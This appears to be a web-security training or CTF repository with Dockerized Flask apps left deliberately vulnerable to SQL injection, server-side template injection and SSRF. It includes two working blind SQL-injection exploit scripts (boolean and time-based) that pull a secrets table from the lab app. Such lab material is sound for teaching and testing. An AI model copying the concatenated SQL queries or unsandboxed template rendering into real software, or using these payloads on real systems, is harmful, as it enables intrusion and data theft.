47 | 48 | 49 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web3/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9 2 | 3 | ADD ./app /opt/app 4 | RUN apt-get update -y&&\ 5 | apt-get install -y default-mysql-client &&\ 6 | useradd -s /usr/sbin/nologin ctf &&\ 7 | pip install -r /opt/app/requirements.txt 8 | 9 | USER ctf 10 | 11 | CMD ["python", "/opt/app/app.py"] 12 | EXPOSE 5000 -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web3/app/app.py: -------------------------------------------------------------------------------- 1 | #! python3 2 | 3 | from flask import ( 4 | jsonify, 5 | Flask, 6 | request, 7 | redirect, 8 | render_template 9 | ) 10 | 11 | import json 12 | import pymysql 13 | 14 | 15 | app = Flask(__name__) 16 | 17 | app.config["MYSQL_DATABASE_HOST"] = "db" 18 | app.config["MYSQL_DATABASE_DB"] = "db" 19 | app.config["MYSQL_DATABASE_USER"] = "user" 20 | app.config["MYSQL_DATABASE_PASSWORD"] = "password" 21 | 22 | # we have two tables in database: 23 | # kv(id, k, v) and secrets(id, data) 24 | 25 | _db = pymysql.connect( 26 | host="db", 27 | db="db", 28 | user="user", 29 | password="password" 30 | ) 31 | 32 | 33 | def get_db(): 34 | _db.ping(reconnect=True) 35 | return _db 36 | 37 | 38 | @app.route("/", methods=["GET"]) 39 | def route_index(): 40 | 41 | db = get_db() 42 | 43 | sql = "select k,v from kv;" 44 | 45 | try: 46 | cur = db.cursor() 47 | cur.execute(sql) 48 | except Exception as e: 49 | return "Error", 500 50 | 51 | data = cur.fetchall() 52 | cur.close() 53 | 54 | return render_template("index.html", data=data, ndata=len(data)) 55 | 56 | 57 | @app.route("/search", methods=["GET"]) 58 | def route_search_index(): 59 | 60 | key = request.args.get("key") 61 | 62 | sql = "select k,v from kv where k like %s;" 63 | 64 | db = get_db() 65 | try: 66 | cur = db.cursor() 67 | cur.execute(sql, ('%{}%'.format(key))) 68 | 69 | except Exception as e: 70 | cur.close() 71 | return "Error", 500 72 | 73 | data = cur.fetchall() 74 | cur.close() 75 | 76 | return render_template("index.html", data=data, ndata=len(data)) 77 | 78 | 79 | @app.route("/add", methods=["GET"]) 80 | def route_add_index(): 81 | return render_template("add.html", msg=None) 82 | 83 | 84 | @app.route("/add", methods=["POST"]) 85 | def route_add_do(): 86 | 87 | res = {} 88 | key = request.form.get("key") 89 | value = request.form.get("value") 90 | 91 | if key == None or value == None or key == "" or value == "": 92 | msg = "both key and value cannot be null" 93 | return render_template("add.html", msg=msg) 94 | 95 | sql = "insert into kv (k, v) values(%s, %s);" 96 | 97 | db = get_db() 98 | try: 99 | cur = db.cursor() 100 | cur.execute(sql, (key, value)) 101 | 102 | 103 | except pymysql.err.IntegrityError as e: 104 | cur.close() 105 | msg="key is already used" 106 | return render_template("add.html", msg=msg) 107 | 108 | except Exception as e: 109 | cur.close() 110 | return "Error", 500 111 | 112 | db.commit() 113 | cur.close() 114 | 115 | return redirect("/") 116 | 117 | 118 | @app.route("/keyCheck", methods=["GET"]) 119 | def route_keycheck_index(): 120 | 121 | key = request.args.get("key") 122 | sql = "select k from kv where k = '" + key + "';" 123 | 124 | db = get_db() 125 | try: 126 | cur = db.cursor() 127 | cur.execute(sql) 128 | 129 | except Exception as e: 130 | cur.close() 131 | return "Error", 500 132 | 133 | data = cur.fetchall() 134 | 135 | if len(data) == 0: 136 | return "not used" 137 | 138 | return "used" 139 | 140 | 141 | app.run(host="0.0.0.0", debug=False) 142 | 143 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web3/app/requirements.txt: -------------------------------------------------------------------------------- 1 | cffi==1.15.0 2 | click==8.1.2 3 | cryptography==36.0.2 4 | Flask==2.1.1 5 | importlib-metadata==4.11.3 6 | itsdangerous==2.1.2 7 | Jinja2==3.1.1 8 | MarkupSafe==2.1.1 9 | pycparser==2.21 10 | pymysql[rsa]==1.0.2 11 | Werkzeug==2.1.1 12 | zipp==3.8.0 13 | 14 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web3/app/templates/add.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 |
10 |

Key-Value Store

11 |
12 | add kev-value pair 13 | 14 |
15 |

16 |

17 | 18 |
19 |
20 |
21 |
22 | 23 | 24 | 25 |
26 |
27 | 28 | 29 |
30 | 31 |
32 | 33 |
34 | 35 |
36 |
37 | 38 |
39 | 80 | 81 | 82 | 83 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web3/app/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 |
9 |

Key-Value Store

10 |
11 |
12 | add kev-value pair 13 |
14 |
15 | 16 |
17 |
18 | 19 | 20 |
21 |
22 | 23 |
24 | 25 | 26 |
27 | 28 |
29 |

Number of results: {{ndata}}

30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | {% for i in data %} 39 | 40 | 41 | 42 | 43 | {% endfor %} 44 | 45 |
KeyValue
{{i.0}}{{i.1}}
46 |
47 | 48 | 49 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web4/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9 2 | 3 | ADD ./app /opt/app 4 | RUN apt-get update -y&&\ 5 | apt-get install -y default-mysql-client &&\ 6 | useradd -s /usr/sbin/nologin ctf &&\ 7 | pip install -r /opt/app/requirements.txt 8 | 9 | USER ctf 10 | 11 | CMD ["python", "/opt/app/app.py"] 12 | EXPOSE 5000 -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web4/app/app.py: -------------------------------------------------------------------------------- 1 | #! python3 2 | 3 | from flask import ( 4 | jsonify, 5 | Flask, 6 | request, 7 | redirect, 8 | render_template 9 | ) 10 | 11 | import json 12 | import pymysql 13 | 14 | 15 | app = Flask(__name__) 16 | 17 | app.config["MYSQL_DATABASE_HOST"] = "db" 18 | app.config["MYSQL_DATABASE_DB"] = "db" 19 | app.config["MYSQL_DATABASE_USER"] = "user" 20 | app.config["MYSQL_DATABASE_PASSWORD"] = "password" 21 | 22 | # we have two tables in database: 23 | # kv(id, k, v) and secrets(id, data) 24 | 25 | _db = pymysql.connect( 26 | host="db", 27 | db="db", 28 | user="user", 29 | password="password" 30 | ) 31 | 32 | 33 | def get_db(): 34 | _db.ping(reconnect=True) 35 | return _db 36 | 37 | 38 | @app.route("/", methods=["GET"]) 39 | def route_index(): 40 | 41 | db = get_db() 42 | 43 | sql = "select k,v from kv;" 44 | 45 | try: 46 | cur = db.cursor() 47 | cur.execute(sql) 48 | except Exception as e: 49 | return "Error", 500 50 | 51 | data = cur.fetchall() 52 | cur.close() 53 | 54 | return render_template("index.html", data=data, ndata=len(data)) 55 | 56 | 57 | @app.route("/search", methods=["GET"]) 58 | def route_search_index(): 59 | 60 | key = request.args.get("key") 61 | if key == None: 62 | key = "" 63 | 64 | sql = "select k,v from kv where k like %s;" 65 | 66 | db = get_db() 67 | try: 68 | cur = db.cursor() 69 | cur.execute(sql, ('%{}%'.format(key))) 70 | 71 | except Exception as e: 72 | cur.close() 73 | return "Error", 500 74 | 75 | data = cur.fetchall() 76 | cur.close() 77 | 78 | return render_template("index.html", data=data, ndata=len(data)) 79 | 80 | 81 | @app.route("/add", methods=["GET"]) 82 | def route_add_index(): 83 | return render_template("add.html", msg=None) 84 | 85 | 86 | @app.route("/add", methods=["POST"]) 87 | def route_add_do(): 88 | 89 | res = {} 90 | key = request.form.get("key") 91 | value = request.form.get("value") 92 | 93 | if key == None or value == None or key == "" or value == "": 94 | msg = "both key and value cannot be null" 95 | return render_template("add.html", msg=msg) 96 | 97 | sql = "insert into kv (k, v) values('" + key + "', '" + value + "');" 98 | 99 | db = get_db() 100 | try: 101 | cur = db.cursor() 102 | cur.execute(sql) 103 | 104 | except pymysql.err.IntegrityError as e: 105 | cur.close() 106 | msg="key is already used" 107 | return render_template("add.html", msg=msg) 108 | 109 | except Exception as e: 110 | cur.close() 111 | return str(e), 500 112 | 113 | db.commit() 114 | cur.close() 115 | 116 | return redirect("/") 117 | 118 | app.run(host="0.0.0.0", debug=False) 119 | 120 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web4/app/requirements.txt: -------------------------------------------------------------------------------- 1 | cffi==1.15.0 2 | click==8.1.2 3 | cryptography==36.0.2 4 | Flask==2.1.1 5 | importlib-metadata==4.11.3 6 | itsdangerous==2.1.2 7 | Jinja2==3.1.1 8 | MarkupSafe==2.1.1 9 | pycparser==2.21 10 | pymysql[rsa]==1.0.2 11 | Werkzeug==2.1.1 12 | zipp==3.8.0 13 | 14 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web4/app/templates/add.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 |
9 |

Key-Value Store

10 |
11 | add kev-value pair 12 | 13 | {% if msg %} 14 |
15 |

16 | {{msg}} 17 |

18 |
19 | {% endif %} 20 | 21 |
22 |
23 |
24 |
25 | 26 | 27 |
28 |
29 | 30 | 31 |
32 | 33 |
34 | 35 |
36 | 37 |
38 |
39 | 40 |
41 | 42 | 43 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web4/app/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 |
9 |

Key-Value Store

10 |
11 |
12 | add kev-value pair 13 |
14 |
15 | 16 |
17 |
18 | 19 | 20 |
21 |
22 | 23 |
24 | 25 | 26 |
27 | 28 |
29 |

Number of results: {{ndata}}

30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | {% for i in data %} 39 | 40 | 41 | 42 | 43 | {% endfor %} 44 | 45 |
KeyValue
{{i.0}}{{i.1}}
46 |
47 | 48 | 49 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web5/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9 2 | 3 | ADD ./app /opt/app 4 | RUN apt-get update -y&&\ 5 | apt-get install -y default-mysql-client &&\ 6 | useradd -s /usr/sbin/nologin ctf &&\ 7 | pip install -r /opt/app/requirements.txt 8 | 9 | USER ctf 10 | 11 | CMD ["python", "/opt/app/app.py"] 12 | EXPOSE 5000 -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web5/app/app.py: -------------------------------------------------------------------------------- 1 | #! python3 2 | 3 | from flask import ( 4 | jsonify, 5 | Flask, 6 | request, 7 | redirect, 8 | render_template 9 | ) 10 | 11 | import json 12 | import pymysql 13 | 14 | 15 | app = Flask(__name__) 16 | 17 | app.config["MYSQL_DATABASE_HOST"] = "db" 18 | app.config["MYSQL_DATABASE_DB"] = "db" 19 | app.config["MYSQL_DATABASE_USER"] = "user" 20 | app.config["MYSQL_DATABASE_PASSWORD"] = "password" 21 | 22 | # we have two tables in database: 23 | # kv(id, k, v) and secrets(id, data) 24 | 25 | _db = pymysql.connect( 26 | host="db", 27 | db="db", 28 | user="user", 29 | password="password" 30 | ) 31 | 32 | 33 | def get_db(): 34 | _db.ping(reconnect=True) 35 | return _db 36 | 37 | 38 | @app.route("/", methods=["GET"]) 39 | def route_index(): 40 | 41 | db = get_db() 42 | 43 | sql = "select id, k,v from kv;" 44 | 45 | try: 46 | cur = db.cursor() 47 | cur.execute(sql) 48 | except Exception as e: 49 | return "Error", 500 50 | 51 | data = cur.fetchall() 52 | cur.close() 53 | 54 | return render_template("index.html", data=data, ndata=len(data)) 55 | 56 | 57 | @app.route("/search", methods=["GET"]) 58 | def route_search_index(): 59 | 60 | key = request.args.get("key") 61 | if key == None: 62 | key = "" 63 | 64 | sql = "select id, k,v from kv where k like '%" + key + "%';" 65 | 66 | db = get_db() 67 | try: 68 | cur = db.cursor() 69 | cur.execute(sql) 70 | 71 | except Exception as e: 72 | cur.close() 73 | return "Error", 500 74 | 75 | data = cur.fetchall() 76 | cur.close() 77 | 78 | return render_template("index.html", data=data, ndata=len(data)) 79 | 80 | 81 | @app.route("/add", methods=["GET"]) 82 | def route_add_index(): 83 | return render_template("add.html", msg=None) 84 | 85 | 86 | @app.route("/add", methods=["POST"]) 87 | def route_add_do(): 88 | 89 | key = request.form.get("key") 90 | value = request.form.get("value") 91 | 92 | if key == None or value == None or key == "" or value == "": 93 | msg = "both key and value cannot be null" 94 | return render_template("add.html", msg=msg) 95 | 96 | sql = "insert into kv (k, v) values(%s, %s);" 97 | 98 | db = get_db() 99 | try: 100 | cur = db.cursor() 101 | cur.execute(sql, (key, value)) 102 | 103 | except pymysql.err.IntegrityError as e: 104 | cur.close() 105 | msg="key is already used" 106 | return render_template("add.html", msg=msg) 107 | 108 | except Exception as e: 109 | cur.close() 110 | return "Error", 500 111 | 112 | db.commit() 113 | cur.close() 114 | 115 | return redirect("/") 116 | 117 | 118 | 119 | @app.route("/modify", methods=["GET"]) 120 | def route_modify_index(): 121 | 122 | rid = request.args.get("id") 123 | 124 | if rid == None or rid == "": 125 | return "id cannot be null" 126 | 127 | sql = "select id, k, v from kv where id = %s;" 128 | db = get_db() 129 | try: 130 | cur = db.cursor() 131 | cur.execute(sql, (rid)) 132 | 133 | except Exception as e: 134 | cur.close() 135 | return "Error", 500 136 | 137 | cur.close() 138 | 139 | data = cur.fetchone() 140 | if data == None: 141 | return "record not found" 142 | 143 | return render_template("modify.html", data=data) 144 | 145 | 146 | @app.route("/modify", methods=["POST"]) 147 | def route_modify_do(): 148 | 149 | rid = request.form.get("id") 150 | key = request.form.get("key") 151 | value = request.form.get("value") 152 | 153 | if rid == None or rid == "" or key == None or key == "" or value == None or value == "": 154 | return "id, key and value cannot be null" 155 | 156 | sql = "update kv set k = '" + key + "', v = '" + value + "' where id = " + rid + ";" 157 | 158 | db = get_db() 159 | try: 160 | cur = db.cursor() 161 | cur.execute(sql) 162 | 163 | except Exception as e: 164 | cur.close() 165 | return str(e), 500 166 | 167 | db.commit() 168 | cur.close() 169 | 170 | 171 | return redirect("/") 172 | 173 | 174 | 175 | app.run(host="0.0.0.0", debug=False) 176 | 177 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web5/app/requirements.txt: -------------------------------------------------------------------------------- 1 | cffi==1.15.0 2 | click==8.1.2 3 | cryptography==36.0.2 4 | Flask==2.1.1 5 | importlib-metadata==4.11.3 6 | itsdangerous==2.1.2 7 | Jinja2==3.1.1 8 | MarkupSafe==2.1.1 9 | pycparser==2.21 10 | pymysql[rsa]==1.0.2 11 | Werkzeug==2.1.1 12 | zipp==3.8.0 13 | 14 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web5/app/templates/add.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 |
9 |

Key-Value Store

10 |
11 | add kev-value pair 12 | 13 | {% if msg %} 14 |
15 |

16 | {{msg}} 17 |

18 |
19 | {% endif %} 20 | 21 |
22 |
23 |
24 |
25 | 26 | 27 |
28 |
29 | 30 | 31 |
32 | 33 |
34 | 35 |
36 | 37 |
38 |
39 | 40 |
41 | 42 | 43 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web5/app/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 |
9 |

Key-Value Store

10 |
11 |
12 | add kev-value pair 13 |
14 |
15 | 16 |
17 |
18 | 19 | 20 |
21 |
22 | 23 |
24 | 25 | 26 |
27 | 28 |
29 |

Number of results: {{ndata}}

30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | {% for i in data %} 40 | 41 | 42 | 43 | 44 | 45 | {% endfor %} 46 | 47 |
modifyKeyValue
click{{i.1}}{{i.2}}
48 |
49 | 50 | 51 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web5/app/templates/modify.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 |
9 |

Key-Value Store

10 |
11 | 12 |
13 |
14 |
15 | 16 |
17 | 18 | 19 |
20 |
21 | 22 | 23 |
24 | 25 |
26 | 27 |
28 | 29 |
30 |
31 | 32 |
33 | 34 | 35 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/scripts/sqli-boolean-exploit.py: -------------------------------------------------------------------------------- 1 | #! python3 2 | import string 3 | import requests 4 | 5 | def exploit(): 6 | 7 | url = "http://localhost:5002/keyCheck" 8 | payload = "notusedkey' or 1=if((select ascii(substr(data, {0}, 1)) from secrets)={1}, 1, 0)#" 9 | chars = string.printable 10 | params = {} 11 | flag = '' 12 | count = 0 13 | 14 | for i in range(0, 1024): # 1024 is a tentative number of flag length 15 | for c in chars: 16 | params["key"] = payload.format((i+1), ord(c)) 17 | r = requests.get(url, params) 18 | 19 | if r.text != "used": 20 | if c == chars[-1]: 21 | return 22 | continue 23 | 24 | flag += c 25 | print(flag) 26 | break 27 | 28 | 29 | def main(): 30 | exploit() 31 | 32 | 33 | if __name__ == '__main__': 34 | main() 35 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/scripts/sqli-time-exploit.py: -------------------------------------------------------------------------------- 1 | #! python3 2 | import string 3 | import requests 4 | import time 5 | 6 | def exploit(): 7 | 8 | url = "http://localhost:5002/keyCheck" 9 | payload = "notusedkey' or 1=if((select ascii(substr(data, {0}, 1)) from secrets)={1}, sleep(1), 0)#" 10 | chars = string.printable 11 | params = {} 12 | flag = '' 13 | count = 0 14 | 15 | for i in range(0, 1024): # 1024 is a tentative number of flag length 16 | for c in chars: 17 | params["key"] = payload.format((i+1), ord(c)) 18 | 19 | start = time.time() 20 | requests.get(url, params) 21 | end = time.time() 22 | 23 | if (end-start) < 1.0: 24 | if c == chars[-1]: 25 | return 26 | continue 27 | 28 | flag += c 29 | print(flag) 30 | break 31 | 32 | def main(): 33 | exploit() 34 | 35 | if __name__ == '__main__': 36 | main() 37 | -------------------------------------------------------------------------------- /dist/files/web/06_SSTI/SSTI-app/app/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9 2 | 3 | ADD ./app /opt/app 4 | RUN apt-get update -y&&\ 5 | apt-get install -y default-mysql-client &&\ 6 | useradd -s /usr/sbin/nologin ctf &&\ 7 | pip3 install -r /opt/app/requirements.txt 8 | 9 | USER ctf 10 | 11 | CMD ["python", "/opt/app/app.py"] 12 | EXPOSE 5000 -------------------------------------------------------------------------------- /dist/files/web/06_SSTI/SSTI-app/app/app/app.py: -------------------------------------------------------------------------------- 1 | #! python3 2 | 3 | from flask import ( 4 | jsonify, 5 | Flask, 6 | request, 7 | redirect, 8 | render_template, 9 | render_template_string 10 | ) 11 | 12 | import json 13 | import pymysql 14 | 15 | app = Flask(__name__) 16 | 17 | app.config["MYSQL_DATABASE_HOST"] = "db" 18 | app.config["MYSQL_DATABASE_DB"] = "db" 19 | app.config["MYSQL_DATABASE_USER"] = "user" 20 | app.config["MYSQL_DATABASE_PASSWORD"] = "password" 21 | 22 | _db = pymysql.connect( 23 | host="db", 24 | db="db", 25 | user="user", 26 | password="password" 27 | ) 28 | 29 | 30 | def get_db(): 31 | _db.ping(reconnect=True) 32 | return _db 33 | 34 | 35 | @app.route("/") 36 | def route_index(): 37 | sql = "select id, name from templates" 38 | 39 | db = get_db() 40 | cur = db.cursor() 41 | cur.execute(sql) 42 | 43 | data = cur.fetchall() 44 | 45 | return render_template("index.html", data=data) 46 | 47 | 48 | @app.route("/view/") 49 | def route_view(tid: int): 50 | 51 | sql = "select template from templates where id=%s limit 1" 52 | db = get_db() 53 | 54 | cur = db.cursor() 55 | cur.execute(sql, (tid,)) 56 | data = cur.fetchone() 57 | if data == None: 58 | return "no template was found" 59 | 60 | template = data[0] 61 | return render_template_string(template) 62 | 63 | 64 | @app.route("/add", methods=["GET"]) 65 | def route_add_index(): 66 | 67 | return render_template("add.html") 68 | 69 | 70 | @app.route("/add", methods=["POST"]) 71 | def route_add_do(): 72 | 73 | sql_check = "select * from templates where name = %s" 74 | sql_insert = "insert into templates(name, template) values(%s, %s)" 75 | db = get_db() 76 | 77 | name = request.form.get("name") 78 | template = request.form.get("template") 79 | 80 | if name == "" or name == None or template == "" or template == None: 81 | return "name and template can not be empty." 82 | 83 | cur = db.cursor() 84 | cur.execute(sql_check, (name,)) 85 | 86 | data = cur.fetchone() 87 | if data != None: 88 | return "name is duplicated." 89 | 90 | cur.execute(sql_insert, (name, template)) 91 | db.commit() 92 | 93 | return redirect('/') 94 | 95 | 96 | app.run(host="0.0.0.0", debug=False) 97 | 98 | 99 | -------------------------------------------------------------------------------- /dist/files/web/06_SSTI/SSTI-app/app/app/requirements.txt: -------------------------------------------------------------------------------- 1 | cffi==1.15.0 2 | click==8.1.2 3 | cryptography==36.0.2 4 | Flask==2.1.1 5 | importlib-metadata==4.11.3 6 | itsdangerous==2.1.2 7 | Jinja2==3.1.1 8 | MarkupSafe==2.1.1 9 | pycparser==2.21 10 | pymysql[rsa]==1.0.2 11 | Werkzeug==2.1.1 12 | zipp==3.8.0 13 | 14 | -------------------------------------------------------------------------------- /dist/files/web/06_SSTI/SSTI-app/app/app/templates/add.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 |

add template

9 |
10 | 11 |
12 |
13 | 14 | 15 |
16 |
17 | 18 |
19 |
20 | 21 | 22 |
23 |
24 | 25 | 26 |
27 |
28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /dist/files/web/06_SSTI/SSTI-app/app/app/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 |
9 |

Templates

10 |
11 | add templates 12 | 13 |
14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | {% for i in data %} 23 | 24 | 25 | 26 | 27 | {% endfor %} 28 | 29 |
IDname
{{i.0}}{{i.1}}
30 |
31 | 32 | 33 | -------------------------------------------------------------------------------- /dist/files/web/06_SSTI/SSTI-app/db/init/init.sql: -------------------------------------------------------------------------------- 1 | 2 | CREATE DATABASE IF NOT EXISTS db; 3 | 4 | use db; 5 | 6 | 7 | CREATE TABLE if not exists templates( 8 | id int NOT NULL AUTO_INCREMENT, 9 | name text, 10 | template text, 11 | PRIMARY KEY (id) 12 | ); 13 | 14 | INSERT INTO templates(name, template) VALUES('test', 'test'); 15 | -------------------------------------------------------------------------------- /dist/files/web/06_SSTI/SSTI-app/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.7' 2 | 3 | services: 4 | 5 | db: 6 | image: mysql:8.0 7 | restart: always 8 | environment: 9 | MYSQL_ROOT_PASSWORD: password 10 | MYSQL_DATABASE: db 11 | MYSQL_USER: user 12 | MYSQL_PASSWORD: password 13 | volumes: 14 | - ./db/init:/docker-entrypoint-initdb.d 15 | networks: 16 | - app 17 | 18 | app: 19 | build: ./app 20 | restart: always 21 | networks: 22 | - app 23 | depends_on: 24 | - db 25 | ports: 26 | - 5000:5000 27 | 28 | networks: 29 | app: 30 | 31 | -------------------------------------------------------------------------------- /dist/files/web/06_SSTI/scripts/builtins-example.py: -------------------------------------------------------------------------------- 1 | #! python3 2 | 3 | class A(object): 4 | def func(): 5 | pass 6 | 7 | print(A.func.__globals__) 8 | i = A.func.__globals__['__builtins__'] 9 | i.print("hello from __builtins__ from __globals__ from func") 10 | 11 | -------------------------------------------------------------------------------- /dist/files/web/06_SSTI/scripts/class-example.py: -------------------------------------------------------------------------------- 1 | #! python3 2 | 3 | i = 1 4 | print(i.__class__) # print(type(i))と同等 5 | 6 | 7 | -------------------------------------------------------------------------------- /dist/files/web/06_SSTI/scripts/globals-example.py: -------------------------------------------------------------------------------- 1 | var=1 2 | def func(): 3 | pass 4 | 5 | print(func.__globals__) 6 | -------------------------------------------------------------------------------- /dist/files/web/06_SSTI/scripts/mro-example.py: -------------------------------------------------------------------------------- 1 | #! python3 2 | 3 | import sys 4 | 5 | class A(object): 6 | def func(self): 7 | sys.stdout.write('A') 8 | sys.stdout.write('\n') 9 | 10 | class B(A): 11 | def func(self): 12 | sys.stdout.write('B') 13 | super().func() 14 | 15 | class C(A): 16 | def func(self): 17 | sys.stdout.write('C') 18 | super().func() 19 | 20 | 21 | class D(B, C): 22 | def func(self): 23 | sys.stdout.write('D') 24 | super().func() 25 | 26 | 27 | print('MRO of A is...') 28 | print(A.mro()) 29 | print('MRO of B is...') 30 | print(B.mro()) 31 | print('MRO of C is...') 32 | print(C.mro()) 33 | print('MRO of D is...') 34 | print(D.mro()) 35 | 36 | A().func() 37 | B().func() 38 | C().func() 39 | D().func() 40 | 41 | -------------------------------------------------------------------------------- /dist/files/web/06_SSTI/scripts/str-to-object.py: -------------------------------------------------------------------------------- 1 | #! python3 2 | 3 | s = 'test' 4 | print(s.__class__) 5 | print(s.__class__.mro()) 6 | print(s.__class__.mro()[-1]) 7 | 8 | -------------------------------------------------------------------------------- /dist/files/web/06_SSTI/scripts/subclass-example.py: -------------------------------------------------------------------------------- 1 | #! python3 2 | 3 | class A(object): 4 | pass 5 | 6 | class B(A): 7 | pass 8 | 9 | class C(A): 10 | pass 11 | 12 | class D(B, C): 13 | pass 14 | 15 | print('subclasses of A are...') 16 | print(A.__subclasses__()) 17 | print('subclasses of B are...') 18 | print(B.__subclasses__()) 19 | print('subclasses of C are...') 20 | print(C.__subclasses__()) 21 | print('subclasses of D are...') 22 | print(D.__subclasses__()) 23 | 24 | -------------------------------------------------------------------------------- /dist/files/web/07_SSRF/SSRF-app/app/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM selenium/standalone-chrome:100.0 2 | 3 | USER root 4 | ADD ./app /opt/app 5 | 6 | RUN apt-get update &&\ 7 | apt-get install -y python3-pip libcurl4 libcurl4-gnutls-dev librtmp-dev 8 | 9 | RUN useradd -s /usr/sbin/nologin ctf &&\ 10 | pip3 install -r /opt/app/requirements.txt 11 | 12 | USER ctf 13 | 14 | CMD ["python3", "/opt/app/app.py"] 15 | EXPOSE 5000 -------------------------------------------------------------------------------- /dist/files/web/07_SSRF/SSRF-app/app/app/app.py: -------------------------------------------------------------------------------- 1 | #! python3 2 | 3 | from flask import ( 4 | jsonify, 5 | Flask, 6 | request, 7 | redirect, 8 | render_template, 9 | render_template_string 10 | ) 11 | 12 | import os 13 | from io import BytesIO 14 | import pycurl 15 | import redis 16 | 17 | app = Flask(__name__) 18 | redis = redis.Redis(host='redis', port=6379, db=0) 19 | 20 | 21 | @app.route("/", methods=["GET"]) 22 | def route_index(): 23 | 24 | return render_template("index.html", data=None) 25 | 26 | 27 | @app.route("/", methods=["POST"]) 28 | def route_index_post(): 29 | 30 | url = request.form.get("url") 31 | 32 | redis.lpush("history", url) 33 | 34 | buf = BytesIO() 35 | c = pycurl.Curl() 36 | c.setopt(c.URL, url) 37 | c.setopt(c.WRITEDATA, buf) 38 | c.perform() 39 | c.close() 40 | 41 | body = buf.getvalue().decode('UTF-8') 42 | return render_template("index.html", url=url, data=body) 43 | 44 | 45 | @app.route("/redis", methods=["GET"]) 46 | def route_redis(): 47 | 48 | if request.remote_addr != "127.0.0.1": 49 | return "Forbidden :(", 403 50 | 51 | key = request.args.get('key') 52 | if key == '' or key == None: 53 | return 'key must be specified' 54 | 55 | if redis.exists(key) == False: 56 | return 'key not found' 57 | 58 | t = redis.type(key) 59 | 60 | if t == b"string": 61 | value = redis.get(key) 62 | elif t == b"list": 63 | value = '\n'.join([i.decode() for i in redis.lrange(key, 0, -1)]) 64 | else: 65 | value = "the type of the value is neither string or list :(" 66 | 67 | return value 68 | 69 | 70 | def init_flag(): 71 | 72 | flag = os.environ["FLAG"] 73 | redis.set('FLAG', flag) 74 | 75 | 76 | init_flag() 77 | app.run(host="0.0.0.0", port=5000, debug=False) 78 | 79 | 80 | -------------------------------------------------------------------------------- /dist/files/web/07_SSRF/SSRF-app/app/app/requirements.txt: -------------------------------------------------------------------------------- 1 | async-timeout==4.0.2 2 | click==8.1.2 3 | dbus-python==1.2.16 4 | Deprecated==1.2.13 5 | Flask==2.1.1 6 | importlib-metadata==4.11.3 7 | itsdangerous==2.1.2 8 | Jinja2==3.1.1 9 | MarkupSafe==2.1.1 10 | packaging==21.3 11 | pycurl==7.45.1 12 | pyparsing==3.0.7 13 | redis==4.2.2 14 | supervisor==4.1.0 15 | Werkzeug==2.1.1 16 | wrapt==1.14.0 17 | zipp==3.8.0 18 | 19 | -------------------------------------------------------------------------------- /dist/files/web/07_SSRF/SSRF-app/app/app/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 |
9 |

WebProxy4B

10 |
11 |
12 |
13 |
14 | 15 | 16 |
17 | 18 |
19 |
20 | 21 |
22 | {% if data is not none %} 23 |
24 |

25 | Contents of "{{ url }}": 26 |

27 | 28 |
